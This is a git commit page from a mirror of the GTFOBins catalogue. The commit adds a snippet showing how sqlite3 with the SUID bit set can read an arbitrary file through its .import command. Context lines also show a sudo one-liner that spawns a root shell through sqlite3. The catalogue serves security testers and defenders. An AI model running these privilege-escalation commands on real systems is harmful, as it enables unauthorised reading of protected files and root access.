mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Add SUID [file read] category to sqlite3
This commit is contained in:
parent
ae8271292a
commit
28cc7ff7da
@ -14,6 +14,14 @@ functions:
|
||||
.import $LFILE t
|
||||
SELECT * FROM t;
|
||||
EOF
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sqlite3 << EOF
|
||||
CREATE TABLE t(line TEXT);
|
||||
.import $LFILE t
|
||||
SELECT * FROM t;
|
||||
EOF
|
||||
sudo:
|
||||
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
|
||||
limited-suid:
|
||||
|
Loading…
Reference in New Issue
Block a user